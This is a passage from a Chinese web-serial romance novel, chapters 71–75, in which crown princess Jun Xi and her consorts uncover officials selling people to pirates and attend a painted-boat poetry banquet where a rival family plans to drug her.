《重生十年前,暴戾太女强宠九个俊美夫郎》
第71章 哥,给我挪个地,我也要
福全心里早就恨极了沈氏父子,同时,他也感谢门外的男子救了他。
他听说过拜月教的恶名,江湖民间都说拜月教是邪教,无恶不作,毒瘤一个。
但福全不在意,在他看来,此刻救他于危难间的拜月教就是圣教。
“我愿意。”
福全说完这话,门外就再无动静,他心里一急,难不成恩人已经离去?
“还不知恩人姓甚名谁?可否让小人见恩人一面?我要如何才能加入拜月教?”
东方凌并不愿意露面,刚刚救福全一命除了不想让一个无辜男子清白被辱外,还是想在沈氏父子身旁安插一把锋芒暗藏的利刃。
这么多年来,他只和东方炽和君羲二人说过话,实在不知道如何同人正常交流。
刚刚能说出那些话,纯粹是因为无人能看到他。
露面?
万万不可能。
东方凌垂眸想了想,从腰上取下一枚象征拜月教教中教徒的赤色弯月令牌,透过纸糊的窗户孔飞射进去。
力道刚刚好,正巧落在福全手中。
“令牌联络。”
福全宝贝般将弯月令小心握在掌心,又听到外面有轻轻的敲门声,他瞬间警惕起来,嗓音带着过度受惊后的后怕。
“谁?”
外面没有声响,就仿佛的轻声敲门声是福全的幻觉。
福全想了想,恩人好像是个沉默寡言的男子,做了好事也不愿宣之于口。
他将门打开一条细缝,就看到门外托盘上放着一套小厮衣物,上面写了纸条。
衣服,换上。
福全心里一暖,滚烫的泪喷涌而出。
他是家生子,相处了近二十年的主子说舍弃他就舍弃他,反而是人人唾骂鄙夷的邪教在绝望中救下他。
何等讽刺?
迟则生变,福全快速将衣物穿好,离开了是非之地。
福全全程低着头,降低存在感,径直回了沈府。
恨意在心里扎根,他在沈父惊讶的眼神中笑得憨厚。
“主子,都是奴才运气好,遇到了好心人,给我送了一套衣服。”
沈父心中狐疑,那片地方十分偏僻,怎么会那么凑巧?
他视线扫视在福全身上,福全性格他了解,憨厚老实,忠诚护主。
福全的表情不似作伪,难道真的是自己多疑了?也许,可能真的是巧合吧……
再说了,沈府也没什么东西能让人费心布局谋划的。
沈父面上笑得温和,亲手扶起小厮。
“福全,你没事真是太好了,我回沈府后,第一时间就派人去给你送衣裳,没想到,没派上用场。”
“福全,你救了长卿,就是沈府的恩人,有什么要求,你尽管提,妻主定然会满足你。”
福全一脸惶恐地低下头,只有怀中的赤月令能带给他安全感,他第一次看穿沈父的面孔。
外面懦弱老好人,实则是个心机深沉、手段阴狠的。
他心中对沈父鄙夷不已,面上全是愈发惶恐。
“主子,奴才为公子赴汤蹈火是应当的,您千万别这么说,真是折煞奴才了。”
沈思文正眼都不看福全一眼,她一脸心疼地看着沈长卿破相的脸,怒火中烧。
到底是哪个王八羔子,毁了她精心培养出来的嫡长子,沈长卿这张脸,可金贵着呢!
从小就用上好的洁面膏洁面、之后在用牛乳养护,辅以花瓣水保持沈长卿面部肌肤如剥了壳的鸡蛋般白皙柔嫩。
她俸禄低,纵然跟着知州、县令等分了贩卖人口、收高额入城费的一杯羹,却也不富裕。
她们都吃肉,沈思文能喝口汤就不错了。
沈长卿的脸,花了沈父近大半积蓄。
要知道,保养成现在这样丢失一天又一天积累下来的,如今,一损坏,也不知道会不会留疤……
“大夫,我儿长卿如何了?”
那大夫是羽城中回春堂医术最高的坐堂大夫,她年过花甲,细细感受了一番沈长卿的脉象,收回手。
“哎……”
“贵公子这是气急攻心,加上身体不好,染了春雨后入泥的阴寒之气,这才导致贵公子昏迷不醒。”
沈思文根本不关心这个,她只关心沈长卿的脸能不能治好。
“王大夫,你也知道,男子的容颜最是重要,不知……”
沈思文深谙说话的艺术,点到为止提了提沈长卿的脸。
王大夫听懂了。
只是,沈长卿的额头若没有皇室御用玉肌膏,根本没有不留印记的可能。
沈思文几乎怒不可遏,沈长卿可是她亲自培养的青云梯,听闻太女殿下最爱美色,她本以为能靠沈长卿鸡犬升天。
她心情糟糕到了极点,偏偏外间还传来沈氏和小厮交谈的声音。
“沈氏,你就是这么照看长卿的?真是个废物!”
沈氏连忙低头,不敢去看沈思文充斥着怒火的双眸,这么多年,只要沈思文稍有不如意,就会对他非打即骂,他早就习惯了。
这次同样也不例外,明明是沈长卿嫌弃赏花宴枯燥乏味,这才独自出去散心,偏偏还故意甩开了护卫。
沈长卿这么作死,怪得了谁?
“啪——”
沈思文虽是一介文弱举人,却也是女子,手上多少有些拳脚功夫,沈父根本躲不过沈思文愤怒的掌箍。
力道之大,沈父头被打偏到一边,脸上的巴掌印迅速红肿起来,口中尝到铁锈味。
他不动声色,依旧一副逆来顺受的懦弱样。
“妻主罚得好,都是侍身的错,才会让长卿错失和殿下偶遇的机会。”
沈思文冷哼一声,这才注意到沈氏身侧有一个年轻男子,刚刚她随意听了一耳朵。
貌似,就是这个低贱的仆人,救了她呕心沥血培养出来的沈长卿。
沈思文摆了摆手,“下去找管家领赏吧,一百两银子。”
福全看着床上心安理得装昏迷的沈长卿,从今往后,他会成为让沈氏父子痛不欲生的噩梦。
花开两朵,各表一枝。
东方凌做完好人好事后,沿着桃花林,复行数十步,看到了君羲和东方炽依偎在一起的画面。
他顿住脚步,隐蔽在桃花树下窥视君羲和东方炽的一举一动。
“嘶……”
君羲打了个冷颤,怎么回事?突然有种如芒在背的感觉?
她刚扶着东方炽快要离开十里桃林、去找大夫治病时,东方炽突然醒了,坚持说自己一点事都没有,阻止了君羲送他就诊。
君羲了然,这是受了刺激,主人格又回来了。
谁知,刚同东方炽坐下一会,就有种被死死盯住的感觉。
“阿凌,是你吗?”
除了东方凌,君羲想不出来,还有谁会在暗中视奸她……
东方凌撇撇嘴,没意思,姐姐太聪明了,又被发现了呢。
“姐姐,是我。”
君羲上下扫视一番东方凌,问道:
“阿凌,你是去哪了?怎么脸都弄花了?”
东方凌皮肤白,也不知道去哪里蹭了一层灰,除了灰还有桃花花瓣的汁液,由于他急速躲避的动作染在他身上,愈发像跌落凡尘的天使了。
东方凌很想硬气地争风吃醋,但他不得不假装大度。
来之前,他和哥哥答应了君羲,要和谐相处,切勿拈酸吃醋。
少年深吸一口气,一双琉璃眼猫儿似的瞪圆,他看向一旁侧头靠在君羲左肩上的东方炽,理不直气也壮地开口道:
“哥,给我挪个地,我也要靠着姐姐赏花。”
经过一番折腾,现在已经是天色渐暗,东方炽看了眼跃跃欲试,想靠在君羲右肩的弟弟,轻笑一声。
“阿凌,过来,有你的地儿。”
君羲也默许地点了下头,东方凌这才喜笑颜开,小嘴叭叭的,全然不同在外人面前的社恐少语。
将能讲的、不能讲的,全都说了一遍。
君羲:……
厉害了,出门不过短短半日,就壮大了拜月教的规模,还在敌人心腹处插了一把刀。
“阿凌,做得好。”
好孩子做对了,就要有奖励。
君羲走心夸了东方凌,然后勾住男子脖颈,在他唇角亲吻。
松手,笑得狡黠。
“这是奖励。”
第72章 姐姐,你尝一尝就知道了
唲——
君羲和东方炽、东方凌相谈甚欢时,突然传来一声悠远嘹亮的鹰啼。
君羲抬眸一看,桃花林上空盘旋着的,果然是她养的鹰,阿元。
“殿下,是你养的鹰吗?”
东方凌眼神亮晶晶,他最喜欢鹰了,鹰盘旋在天空,自由不受拘束,是他一直渴求而不得的自由。
“姐姐,他叫什么名字?”
“阿元。”
说着,她从随身携带的荷包中拿出一只竹哨,竹哨看上去有些陈旧,制作工艺显得有些生涩带着童趣。
从打磨圆滑的边缘可以看出此哨主人对它的喜爱。
他们没猜错,能召唤阿元的竹哨确实是君羲心爱之物。
君羲十岁那年,在春狩中捡到了雪堆中奄奄一息的幼鹰,并取名为阿元。
阿元陪着君羲长大,多少次,及时的传信救了君羲的命。
她和阿元,是过命的交情。
阿元灵智颇高,只有君羲认可的人才能得到它的认可,就算君羲的竹哨被偷了,也不可能凭借哨声收服或对付阿元。
阿元来找君羲,说明凤染和凤轻那边有重要消息需要传递给她。
君羲没有犹豫,好些日子没见到阿元,心里还怪想念的。
她用内力化作坚甲覆在小臂上,站起身,微弯朝天空抬起。
唲~
不知道是不是心理原因,东方凌居然从一直老鹰叫声中听出了撒娇之意。
阿元体型健壮,是一只健康的雄鹰,展翅足有三米,它高兴俯冲而下,盘旋的风搅动了桃花树树梢,卷落簌簌花瓣。
俯冲的力度看着吓人,实际上落在君羲手臂上时,阿元还是收了力,尖锐有力的鹰爪轻抓在小臂上,灵动的眼左顾右盼。
唲?
若是阿元会说话,东方炽和东方凌定然能知道,阿元是在好奇他们两个的身份。
君羲和阿元相处十年,对阿元的不同叫声代表什么意思比较清楚,她满头黑线,没好气地屈起食指敲了下鹰好奇的脑袋。
“阿元,孤觉得,你也是时候繁衍后代了,你觉得呢?”
阿元老实了,不在用好奇的眼左瞅瞅,又瞧瞧。
它还小,才不要找雌主生小鹰。
见阿元老实安静下来,君羲反而主动给他介绍。
“阿元,他们是孤的未婚夫郎。”
唲唲?
“嗯,你以后可以相信他们,先不说这些,我先看看密信。”
阿元左边爪子上绑着一个精巧的小竹筒,君羲熟练打开盖子,从竹筒里抽出一小卷信纸。
君羲没有避开东方炽和东方凌,展开后快速察看。
凤染带着亲卫乔装打扮混迹市井,又实地走访调查,这才确认了,漾州、绥州倭寇猖獗实乃人祸!
安王、两州知州将两州百姓视作交换金银财物的货物,甚至给“货物”分了三六九等。
越是姿容身段好的,等级越高,越能卖一个好价钱。
安王就是盘踞在绥州的土皇帝,她夺嫡失败,被君羲废了双腿后,心里越发扭曲阴暗。
反正这些愚民都是君羲治下的百姓,都是不拥戴她称帝的逆民!
如此,她何必在意他们的死活?
能给安王府带来收入,是他们这些低贱下民的荣幸。
君凌已经彻底疯了,灭绝人性。
将封地的女人、男子、小孩当做牲畜一卖给倭寇,简直是丧尽天良。
小小的信纸上,墨色的字迹力透纸背,光是看着,就能看出写这封密信时,写信人愤怒的心情。
君羲收起信纸,眼中划过一抹暗芒。
内力作用,信纸化作飞灰消散桃林中。
做拐卖人口、勾结外敌的勾当,君凌真是活腻歪了。
君羲已然起了杀心,是她错了,才会碍于太皇太后面子放君凌一条生路,以致绥州、扬州沦落至此。
“殿下,拜月教有专门盯着他们的暗子,你若是需要,侍身可以启用。”
君羲摇了摇头,她根本不需要这么麻烦,以力破万法,等她率领敌人大军到了,将这通敌卖国的漾州、绥州官员杀个干净。
攘外必先安内,等没了内患,倭寇没了内应里应外合,才是最佳的直捣倭寇老巢的时机。
现在,她带的轻骑数量还远远不够,要知道,漾州、绥州两州兵力加起来,有五万之数。
君羲心中盘算着,按照大军的行军速度,大约还有三天,就能抵达漾州边境。
她毫不遮掩对安王等人的杀意。
“阿炽,敌在明,我在暗,先按兵不动,等大军赶到,孤带你们兄弟二人杀个痛快。”
“好,殿下。”
东方炽一本正经,东方凌就不一样了,他跟软骨头似的,直往君羲身上贴贴。
“姐姐不用担心,阿凌会保护好姐姐,永远永远。”
君羲挑眉,顺带挠了一下东方凌的下巴。
“小嘴抹了蜜?”
“姐姐,是不是抹了蜜,你尝一尝不就知道了?”
君羲面无表情推开东方凌凑过来的脸,义正言辞。
“阿凌,阿元还是个幼鹰,它见不得这些。”
东方凌泛着水光的眼扫向歪头打量他的阿元,气得咬了咬牙。
他要收回自己刚刚心里面的想法,他喜欢的才不是鹰呢!尤其是某只叫阿元的鹰。
阿元不懂,阿元大为震惊,阿元振翅高飞了。
“阿元,回去让凤轻给你新鲜的肉吃。”
桃花林中没有文房四宝,君羲就地取材,用粉色的花瓣榨出粉色花汁,给凤轻回了信。
大致意思就是让她们先按兵不动,不要引起多余的怀疑,等大军行进至漾洲边缘后,以君羲烽烟为号,围杀两州黑了心肝的官员。
“阿炽,阿凌,画舫诗宴的好戏即将开场,走,孤同你们一同去看戏。”
君羲幸灾乐祸,也不知道,沈长卿能不能顺利出席。
她就去看一看,这场专门为她而设下的鸿门宴,究竟在打什么主意。
画舫上人太多,东方凌跟君羲打了声招呼,就飞向画舫船顶,躺在上面,双目放空,呆呆地望着天上一轮圆月。
隔着一层琉璃瓦,他身下便是吵闹喧嚣的人群。
里面有他感兴趣的女子和他生命中最重要的哥哥。
可他因为自身心理原因,只能独自在这船顶上赏月听风。
……
觥筹交错,靡靡之音。
这艘画舫是漾州最名贵的船,共有三层之高。
飞檐斗拱,雕梁画栋。
沈长卿本来不想参加晚上的诗宴,但奈何……他的母亲苦口婆心地劝说,今夜,能探听到有关君明月敌人重要讯息。
沈长卿咬了咬牙,为了明月,他可以冒一点风险。
“母亲,儿子要去,还劳烦母亲替儿子准备好遮挡头部的幂篱。”
沈长卿的脸经过精心医治后,仍旧不能见人。
他一想到自己那张花颜月貌的脸,被弄得青青紫紫,甚至还有破相的风险,就恨得牙痒痒!
他就不该心软,这一世他不只要嫁给明月,他还要帮君明月登上帝位!
沈长卿心里野心蔓延,他眯起怨毒的眸,他到时候定要好好看一看,看君羲被他踩在脚底时,哀嚎求饶的表情,是不是会很美妙。
“父亲,你确定万无一失?”
沈长卿在十里桃林遇到君羲后,心中就打起了十二分精神。
他心里到底还存在这一丝担忧,担心在宴席上遇到君羲,又被无理由折辱一通。
沈思文笑得一脸慈祥,但仔细看,就能看到遮掩在他慈祥外表下,熊熊燃烧的野心和青云直上的渴望。
沈长卿怎么能玩儿得过沈思文这个老狐狸?稀里糊涂就跟着出了门。
沈思文满意打量着自己一手教养出来的极品男子,带上幂篱后,显得有几分神秘,不染俗世的仙气。
沈思文暗中满意,紧了紧腰间夹带的烈性春药,若不是沈长卿,关键时刻掉链子伤了脸,她也不会选择用这猛烈的虎狼之药。
此药名“烈春”。
第73章 放心,本夫会护着你们
“烈春”,非男女交合不能解,就算服下解药也只能暂时缓解,而且,在解药药力过后,会加倍反噬。
沈思文本来不想用这么烈的春药,但君羲好颜色是出了名的,不用这种能让人热得眼前模糊不清的烈药,她怕沈长卿那张青紫的脸倒了太女殿下的胃口。
机会可能只有这一次,下一次,储君就没那么好接近了。
沈思文收敛眼中的算计,笑着摸了摸沈长卿的头。
“长卿,放心吧,一切有母亲在,定能让我儿称心如意,嫁得好妻主,幸福美满一生。”
沈长卿顿时心花怒放了,虽然和明月的见面过程曲折了些,到底是如愿以偿了。
就是可惜了那身元锦做的衣裳,明月还没看到他穿上身惊才绝艳的效果,就被君羲毁了。
君羲,君子报仇,十年不晚。
沈长卿在心里暗暗发誓,不报了这罚跪磕头之辱,他就不姓沈!
羽城外,停着一辆奢华无比的马车。
马车内,是一个端坐在轮椅上的阴鸷女子,身侧服侍的,正是君凌的心腹——云霄。
“王爷,你莫不是看上了沈家嫡长子?怎的突然想去漾州赴宴了?”
君凌自从被打断双腿后,心理扭曲的她越发阴晴不定,动辄大发雷霆,此刻闻言,毒蛇一样的眼神锁定云霄。
“本王自有打算,多嘴。”
云霄早就习惯了,她心中替君凌惋惜,曾经的君凌,虽然处处被君羲压了一头,但在玉京城中,也是风头无两的女郎。
傲人的身份背景,惊艳不俗的容貌,夫子称赞的学识……
曾经的君凌多风光,一朝败北后就有多狼狈。
君凌心里一直打着杀上玉京城,推翻君羲统治的主意,所以她才不择手段地敛财,就为了养私兵。
君凌满心都是玉京城的繁华和权势,什么沈长卿?不过是偏远州城里的一个男子,有什么好在意的?
她“好姐姐”君羲强娶豪夺回东宫的男子,才是真正的极品,才配得上帝王。
君凌来羽城,不过是听到了风言风语,杨素衣就在羽城,君羲手中。
君羲也在羽城,会出现在赏月宴上。
说起来,她和君羲自上次玉京一别,已经快有五年不曾见面,也不知道,君羲现在活得如何了。
君清荣和君明月,可不是善茬。
君凌日日烧香拜佛,求神佛显灵,让君羲被信任的血脉至亲算计而死。
可惜,一直没有传来君羲薨了的好消息……
“本王去会一会太女。”
云霄冷汗直冒,她不明白,王爷怎么一提到太女殿下就会失去理智。
连她都明白,以王爷目前的实力,想对付君羲就是以卵击石,蚍蜉撼树。
可她偏偏被君明月蛊惑,派出杨素衣以及养了多年的私兵前去幽雾谷埋伏君羲。
失败后,杨素衣被俘,也不知道酷刑伺候下会不会出卖王爷。
君羲会来绥州、漾州,说不准已经发现了两州倭寇横行背后的猫腻……
留得青山在,不怕没柴烧。
这种节骨眼上,王爷居然还不死心,不乖乖缩在绥州城,想着如何善后,保住小命,还跑到太女面前去张牙舞爪!
若不是身份不允许,云霄真想双手抱住王爷的脑袋使劲晃一晃,听听里面是不是都是水?
然而无论云霄心中如何拒绝、想劝阻君凌不要去招惹君羲,君凌还是一意孤行。
“云霄,扶本王下去。”
云霄长叹一声。
“哎……王爷,您这是何必?”
韬光养晦五年,今晚在君羲面前露面,可谓是前功尽弃,何苦来哉?
君凌坚持,强硬道:
“不必再说,本王今日一定要见君羲一面!”
云霄无法,只得扶君凌下马车。
“王爷,属下不拦你了,只是想请王爷牢记,您就是属下们的主心骨,行事一定要稳妥。”
君凌不耐烦打断,“行了行了,本王自有分寸。”
她迫不及待想看看,君羲到底有没有被君清荣下的五石散折磨得人不人鬼不鬼。
羽城外十里,君凌不知道,她的马车刚刚抵达羽城,就从君羲安排的接应军队跟前路过,相当于在阎王面前走了一遭。
溟汐站在最前面,落后他三步距离的正是轻骑军副统领,凤轻。
“凤轻,本夫要进羽城。”
溟汐担心君羲的处境,她再厉害,也是单枪匹马。
让他如何放心?
凤轻冷汗刷的一下就顺着脊背往下流,殿下离开的时候,特意跟她嘱咐过,保护好溟汐,不能让他出一点差错。
更加况,太女殿下此去羽城,阴差阳错结识了未过门的两个夫郎,溟汐去了,怕是会情敌见面,分外眼红……
想到那三个男人一台戏的画面,凤轻已经开始在心里给太女殿下点一炷香了。
“汐公子,不是属下不让你去,实在是君命不可违……”
溟汐心中已经打定主意,他说出口,只不过是为了让凤轻知道他的去向,只是通知她,而不是寻求她的意见。
不在君羲面前,溟汐一族少族长、战无不胜的海中霸主的一面显露无疑。
“凤轻,我意已决,你拦不住我。”
凤轻苦笑,她何尝不知?
自溟汐给君羲挡了致命一剑后,她们就知道,溟汐武力仅次于殿下。
“罢了,汐公子想去,属下自知拦不住您。”
凤轻也不可能让溟汐单枪匹马就去闯龙潭虎穴,否则,君羲知道,非得弄死她不可。
凤轻可不敢惹怒君羲,她提出安排五十人暗中保护溟汐的要求。
“汐公子,你若是同意,属下就不在拦你。”
溟汐扫了一眼凤轻点名出来的五十个精兵,都是武者五重,算得上不错的帮手。
他心里也清楚,凤轻已经是让步了。
同时,他心中也觉得甜蜜,这都是妻主重视他、爱他的证明。
虽然这些人都打不过他……
算了,他会照顾好殿下的兵,保证她们全须全尾回来。
“本夫答应。”
凤轻松了口气,她们在场的,一个能打过溟汐的都没有。
她还真怕,溟汐一走了之。
“汐公子深明大义,难怪殿下爱重您。”
溟汐羞涩一笑,转而压低声线,在君羲面前清澈荡漾的碧眸深沉似幽潭,极具压迫力。
凤轻不由自主站直了身体,怎么回事?
汐公子此刻给她的感觉和殿下阅军时压迫感十足的感觉一模一样。
这或许,才是真正的汐公子。
鲛族皇脉,海中霸主。
“尔等,随本夫进城,接应殿下。”
他早就换上了便装,只是,就算换上便装,鲛人皇族特有的银色长发以及碧眸还是太过显眼。
凤轻欲言又止,溟汐像是知道凤轻想说什么一样,预判了凤轻的预判,开口道。
“你们当中,水性出众者,随本夫走水路,其余化整为零,各自想办法入羽城。”
很快,就有十个水性好的士兵站了出来,溟汐点点头,比他想象中的数量要多一些。
“出发。”
溟汐一声令下,五十人立刻执行命令。
凤轻有种恍惚间,君羲就在她们面前的感觉,真不愧是太女殿下看中的夫郎,天下奇男子也!
羽城临海,有三条河流都会流经羽城,其中,最著名的一条河,名为冰河。
顾名思义,这条河并未结冰,却冷若坚冰,人在其中待不了半个钟就会热量流散、冻死,是天然保护羽城的屏障。
除此之外,冰河中还有一种牙齿锋利、长相奇特的大鱼。
大鱼成群结队,凶猛无比。
但凡试图进入冰河,潜入羽城的都会被这些怪鱼撕得粉碎,血水染红河水。
溟汐并不在意这些,这些大鱼在凶猛,也比不过大海中的鲨鱼、虎鲸。
鲛人一族站在海洋食物链的顶端,鲨鱼,虎鲸都是他们的食谱上的食材,区区大鱼,不值一提。
“放心,本夫会护着你们。”
第74章 阿炽,不许笑
溟汐纵身一跃,水花四溅。
冰冷的河水让他舒服地慰叹一声,有种回到海洋深处的感觉,久违的家的感觉,太舒服了。
长长的黑色鱼尾不在刻意收敛锋芒,寒光一闪而过,闻声而来的怪鱼就被健壮有力的鱼尾切豆腐似的断成两段。
血迹在水中晕染开来,血腥味迎面而来。
五名轻骑军看着在水里大杀四方的溟汐,莫名觉得腰部一凉。
看得出来,汐公子真的很喜欢腰斩了,就跟有强迫症一样,每条试图靠近攻击的怪鱼断成的比例都一模一样!
丛林法则,强者为尊。
这句话放在水中世界也适用,随着同类死亡速度越来越快,成堆的鱼尸漂浮在河面,长着一口密集尖牙的大鱼终于怕了。
冰河里,来了个了不得的天敌。
溟汐自入了东宫后,习惯性在君羲面前扮柔弱、装可怜,已经很久没有这样痛快地杀过了。
怪鱼怕了凶残的鲛人,成群结队四散奔逃。
溟汐可不乐意了,华丽漂亮带着锋锐杀意的大尾巴一甩,化开水面,以闪电般的速度追杀而去。
杀得怪鱼底朝天。
岸上的五人已经看傻眼了,不由自主咽了咽口水。
汐公子这也太凶残了……
也只有殿下,也能享受这种伪装乖巧的凶残绝色美男。
“本夫已经替尔等开好路,下来吧。”
溟汐碧色的眸隐隐泛着血光,他和羲羲已经快三天没见面,一日不见,如隔三秋,他想死羲羲了。
恨不能立刻、马上出现在君羲面前,拥抱她,亲吻她,和她肌肤相亲、不分彼此……
溟汐的思念成狂,带着入骨的病态。
血液里有一种难言的躁动,溟汐几乎快压制不住深沉的欲念,所以才靠杀戮来发泄心中不断澎湃增长的欲望。
五个轻骑军听了溟汐的话,心中有些羞愧,堂堂大女人,还得需要主子的男人来开路。
就跟下饺子似的,扑通扑通地往下跳,眼神根本不敢乱看。
也就错过了溟汐眼底病态偏执的渴望。
男人纤长浓密的睫半垂,他似乎有些不对劲。
鲛人的发热期到了呢。
发热期共七天,鲛人会无限渴求伴侣的抚慰陪伴,每时每刻、每分每秒,都想缠着伴侣,同时求子欲会达到巅峰。
鲛人在发热期性欲会暴涨,渴望伴侣的气息,溟汐身为鲛人皇族一脉,这种情况会更加严重。
只是,君羲不在溟汐身边,他只会一直压抑,他只愿意在君羲身边失控,发热期疯狂所求的一面,也期盼妻主能欣然接受呢。
溟汐在前面开路,披荆斩棘,畅通无阻,甚至还有余力分出鲛珠的力量将周围的水域变暖。
五名轻骑军敏锐察觉到了冰冷的水变得温暖事宜,眼睛一下子睁大了。
谁说汐公子凶残了?
汐公子可太温柔了,又貌美又贴心,简直就是梦中夫郎啊!
太女殿下好福气啊。
溟汐还不知道,他不过顺手的事儿,让内心戏丰富的轻骑军变脸变得一个比一个快。
他满心就只有一个念头,回到妻主身边。
夜幕降临,周围的能见度越来越低。
黑暗的环境就是天然的掩护,再加上从未有人能通过冷得刺骨的河水以及凶残吃人怪鱼的封锁,所以,冰河附近的守卫十分薄弱。
溟汐等人很快就悄无声息从冰河河底悄无声息潜入羽城。
羽城,千羽湖。
明灯三千,水天辉煌。
一艘富丽堂皇、精美无比的三层画舫缓缓靠岸。
应邀而来的宾客纷纷上船,她们大都抱着见沈长卿一面的想法而来。
画舫的三楼,雕栏玉砌。
精致的八角宫灯垂着红色流苏,夜风拂过,红色流苏随着宫灯一起摇晃,原本深沉的夜色摇曳生姿起来。
沈长卿跟在沈思文身旁,站在最高层的栏杆处。
他向来知道怎么将自己的美貌发挥到极致,浅蓝色的幂篱随着宫灯的摇晃而摇曳。
恰到好处的光晕模糊了他青紫伤破的脸庞,营造了一种朦胧,只可远观不可亵玩的疏离清冷氛围。
他身姿如柳柔,又似竹坚,两种矛盾的气质在他身上糅合得极好。
刚刚踏上甲板的宾客,仰头望向三楼栏杆处,倚栏而立的男子,男子自行惭愧,女人心生向往。
“漾州第一公子,名不虚传!”
“长卿公子如此仙人之姿,让我等……如何活啊。”
恰巧知道真相的东方炽听到无知宾客们的夸赞,没忍住,嗤笑出声。
他伸手牵住君羲手腕,额前碎发在灯光的映照下,毛茸茸的,散发着浅色的光晕。
东方炽低头,凑近君羲的耳侧,说话时,温热的气息打在她如玉肌肤上,惹起一阵酥麻。
“殿下,若是她们知道,被她们交相称赞的长卿公子……幂篱之下是一张青肿如猪头的丑脸,我都不敢想象,她们的表情该是多么的好笑。”
似乎是想到了有趣的画面,东方炽眼中笑意盈盈,盛了细碎暖光的眸中倒映了君羲红色的身影。
真挚、唯一。
君羲望着这双看狗都深情的桃花眼,就像被蛊惑到了一样,她抬手遮住东方炽双眼。
“不许笑。”
东方炽莫名,眨了眨眼,长长的睫毛扫过女人的手,心痒痒的,心中似有爱意扎根。
“为什么?”
君羲没说话,冷着脸理直气壮,拉着男子的手,就往贵宾室里走。
“借过,劳烦让让。”
“让让……”
在一众被故作姿态的沈长卿吸引而驻足的人群中,有一对身穿红衣的男女丝毫没受影响,挤开人群,逆流而去。
哒、哒、哒……
木质的楼梯被踩出渐快的脚步声,吱呀——
画舫三楼,拥有最佳观赏江上风景的房间被人推开。
沈长卿若有所感回头,只来得及看到一闪而过的红色衣摆,看上去……
似乎是一男一女,还有些眼熟。
沈长卿没有多想,只当是耐不住寂寞,想一夜春宵的男女。
沈思文察觉到沈长卿的走神,心里有些不满,他正在给沈长卿造势,让他吸引太女殿下的注意,沈长卿却走神了。
“长卿,怎么了?”
她狐疑看向沈长卿目光注视的方向,莫不是有野女人勾引她的嫡长子?
“长卿,刚刚是有人在那儿吗?”
沈长卿忽略心头突如其来的心悸,摇了摇头。
“母亲,没什么,明月公主现在何处?”
沈思文没有正面回答他的问题,故作神秘道:
“长卿,你放心,待你在诗会上大放异彩,定然能引起那人的注意。”
……
人群热闹的喧嚣声,越来越远。
进了房间后,只有他和君羲二人,坏坏的大狗拽住女人的手,裙摆花一样盛开旋转一圈。
他将心头最娇艳的那一朵花,揽入怀中。
眼尾挑起一抹痞气,坏坏地将女人腰肢圈住,就像大狗圈占地盘一样,将君羲牢牢圈在自己的气息中。
他的呼吸滚烫,胸膛也炽热,本来清澈的少年音此刻带着哑。
“殿下,你还没问答我的问题。”
他轻吻君羲的耳骨。
“为什么不让我笑?”
君羲耳根烧得慌,面对男子接踵而至的暧昧询问,她伸手搭在男子圈住她腰身的大手上。
轻抹慢捻抹复挑,暗哑的声线里占有欲十足。
“因为阿炽笑得很好看。”
东方炽觉得这样的君羲有点可爱,明知故问。
“好看又如何?”
君羲毫不遮掩自己的占有欲,搭在男子的大手手背上的手指愈发用力,带出一片红痕。
“阿炽,你只能在孤的面前笑得这么好看。”
君羲语气带着诱哄的意味,就像哄骗小白兔的大灰狼。
“外面都是坏女人,她们都不怀好意,阿炽,你要保护好自己,知道吗?”
东方炽低笑出声,胸膛随着他笑而微微颤动,夹杂着男人的性感,又带着少年的朝气。
“知道了。”
“都听你的,殿下。”
第75章 情爱上头,是难以自控的!
东方炽和君羲二人亲热了好一会儿,彼此都被惹了一身火。
君羲始终记得有要事要做,这才强迫自己冷却下来。
“阿炽,我想,我们都需要冷静一下。”
东方炽此刻姿态欲得撩人心弦,眼底细碎的暖光,原本是阳光耀眼的,现在却因为爱欲的纠缠变得暗沉浓郁。
桀骜锋利的眉眼染了欲色,就像被迫折腰的烈狼,眼尾泛红。
他背靠着紧闭的雕花木门,深吸了好几口气,好听的声音喘息着。
红色的衣襟因为被女人不堪承受时攥紧而乱糟糟的,隐约可以窥见男子健硕的胸肌。
“殿下……”
君羲软声回应。
“嗯?”
东方炽发现,他愈发离不开君羲了,只要她出现在他的面前,不用多做什么,就能让他情难自抑。
他抬手遮住眼,缓缓站直了身体。
“若想我冷静下来,姐姐要离我远一些才行。”
君羲无奈,东方炽嘴上说着要让她离他远一些,但横在腰间的那支铁臂,却是坚固如铁锁。
死死锁住她的腰肢,不让她轻易脱离。
君羲动了动腰肢,发现挣不开,无奈伸手去拿男子掩耳盗铃遮住双眼的手臂。
“阿炽,你不松开孤,孤怎么离你远一些?”
东方炽也想松手,但他的手臂似乎有自己的想法。
脑子在命令:冷静,快松开。
手臂却在说:不要,就要缠着她。
东方炽第一次知道,原来情爱上头了,是难以自控的。
他极力克制着,这才收回了想死死圈住女人腰肢的手臂。
君羲见东方炽实在被欲望折磨得不行,觉得再这样下去,迟早会擦枪走火,果断离男子远远的。
他们的房间里有一扇大大的轩窗,推开窗,湖面街边的景色,一览无余。
君羲负手立于窗前,任由微凉的夜风抚过她发烫的脸庞。
只是,唇上那灼热的触感似牢牢烙印在她的心口,挥之不去,回味无穷。
过了一盏茶功夫,东方炽总算缓好了。
他慢条斯理整理好被抓乱的衣襟,嘴角擒着一抹灿烂明媚的笑意,靠近窗边赏景的女人,从背后将人抱住,下巴搁在女人发顶。
夜风抚过,俏皮钻出的黑发缠绕在一起,缠绵悱恻。
“姐姐,我好像有点喜欢你。”
男人的声音很轻很轻,似乎被湖上夜风一吹就会消散,但君羲清晰捕捉到了,她含着笑意反问。
“阿炽,孤可是对你情深不悔,你对孤,才一点喜欢呀?”
她状若苦恼,逗他。
“那孤岂不是很吃亏?”
东方炽正欲说些什么,就听到一阵细微的声响从屋顶传来,他眸光一厉。
“谁?”
君羲顺着看去,只看到被揭开的琉璃瓦,还有一双委屈泛红的眼。
“阿凌?”
东方凌也不躲不闪,隔着打开的琉璃瓦,遥遥与君羲、东方炽相望。
他唇瓣微动,轻微的委屈嗓音轻易能让人心软。
“姐姐,那我呢?”
君羲对东方炽说,情深不悔,那对他呢?
东方凌发现,越和君羲相处,他就变得越贪婪。
想要的越来越多,他也想,想像东方炽一样,能正大光明跟在君羲身边,远远望去,就像一对璧人。
“姐姐,你喜欢我吗?”
他遮住眼底的脆弱,几乎带着哭音。
“姐姐,你可不可以也喜欢我呢?像喜欢哥哥一样。”
东方凌此刻像极了受伤的右兽,将伤口袒露在她面前,求她怜爱,君羲心疼坏了。
她坚定神色,无声动着唇瓣,内力传音清晰响在少年耳畔。
